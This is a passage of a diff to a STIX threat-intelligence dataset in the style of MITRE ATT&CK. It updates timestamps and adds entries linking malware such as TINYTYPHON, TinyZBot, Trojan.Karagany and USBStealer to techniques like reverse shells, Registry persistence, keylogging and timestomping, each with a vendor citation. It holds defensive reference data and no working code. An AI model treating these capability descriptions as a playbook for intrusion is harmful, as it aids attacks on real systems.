             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 searches removable storage devices for files with a pre-defined list of file extensions (e.g. *.doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52786,7 +62636,7 @@
             "id": "relationship--bb11119c-c409-4615-8c3f-8491749f2d3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 encrypts collected data using a single byte XOR key.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52807,7 +62657,7 @@
             "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the system time during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52828,7 +62678,7 @@
             "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52849,7 +62699,7 @@
             "id": "relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52865,12 +62715,117 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--ce424541-5cfa-4885-ad62-f3f70fa27099",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "provides a reverse shell on the victim.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "If running as administrator,  installs itself as a new service named bmwappushservice to establish persistence.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates then deletes log files during installation of itself as a service.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "After creating a new service for persistence,  sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has a command to download and execute an additional file.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TEXTMATE executes cmd.exe to provide  a reverse shell to attackers.",
             "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
@@ -52896,7 +62851,7 @@
             "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TEXTMATE uses DNS TXT records for C2.",
             "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
@@ -52917,7 +62872,7 @@
             "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON installs itself under Registry Run key to establish persistence.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
@@ -52938,7 +62893,7 @@
             "id": "relationship--4afcb9c9-e490-446b-97b1-1c151974242f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON has used XOR with 0x90 to obfuscate its configuration file.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
@@ -52959,7 +62914,7 @@
             "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
@@ -52980,7 +62935,7 @@
             "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When a document is found matching one of the extensions in the configuration, TINYTYPHON uploads it to the C2 server.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
@@ -53001,7 +62956,7 @@
             "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor can perform DLL loading.",
             "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
@@ -53022,7 +62977,7 @@
             "id": "relationship--cf859589-38ac-4152-b206-08740ccf503b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor is known to utilize encryption within network protocols.",
             "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
@@ -53043,7 +62998,7 @@
             "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to discover processes running on a system.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -53064,7 +63019,7 @@
             "id": "relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to enumerate security software currently running on a system by process name of known products.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -53085,7 +63040,7 @@
             "id": "relationship--40c5a024-37db-478b-b90f-27f184bf8f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to discover services running on a system.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -53106,7 +63061,7 @@
             "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot supports execution from the command-line.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53127,7 +63082,7 @@
             "id": "relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains functionality to collect information from the clipboard.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53148,7 +63103,7 @@
             "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains keylogger functionality.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53169,7 +63124,7 @@
             "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains screen capture functionality.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53190,7 +63145,7 @@
             "id": "relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can disable Avira anti-virus.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53211,7 +63166,7 @@
             "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can install as a Windows service for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53232,7 +63187,7 @@
             "id": "relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can create a shortcut in the Windows startup folder for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53253,7 +63208,7 @@
             "id": "relationship--8ce2219f-6c25-46a2-8215-a78871e2773a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can create a shortcut in the Windows startup folder for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -53269,12 +63224,54 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination.",
+            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Tor encapsulates traffic in multiple layers of encryption.",
+            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53295,7 +63292,7 @@
             "id": "relationship--7282eabe-73e0-4a10-824b-f18df7f892e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can upload, download, and execute files on the victim.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53316,7 +63313,7 @@
             "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can create a directory (<code>C:\\ProgramData\\Mail\\MailAg\\gl</code>) to use as a temporary directory for uploading files.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53337,7 +63334,7 @@
             "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can create a link to itself in the Startup folder to automatically start itself upon system restart.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53358,7 +63355,7 @@
             "id": "relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can dump passwords and save them into <code>\\ProgramData\\Mail\\MailAg\\pwds.txt</code>.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53379,7 +63376,7 @@
             "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can use tasklist to collect a list of running tasks.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53400,7 +63397,7 @@
             "id": "relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can take a desktop screenshot and save the file into <code>\\ProgramData\\Mail\\MailAg\\shot.png</code>.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -53421,7 +63418,7 @@
             "id": "relationship--d92b5b68-4c3e-436f-a922-997467831409",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Mebromi performs BIOS modification and can download and execute a file as well as protect itself from removal.",
             "source_ref": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec",
@@ -53437,12 +63434,54 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--55df3b40-b130-4313-9064-6b0fc56564d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "adds a Registry Run key to establish persistence.",
+            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "To establish persistence,  adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.",
+            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "UACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.",
             "source_ref": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507",
@@ -53463,7 +63502,7 @@
             "id": "relationship--e3e841fa-b806-4c22-9f98-a97950b68931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53484,7 +63523,7 @@
             "id": "relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53505,7 +63544,7 @@
             "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer mimics a legitimate Russian program called USB Disk Security.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53526,7 +63565,7 @@
             "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53547,7 +63586,7 @@
             "id": "relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53568,7 +63607,7 @@
             "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
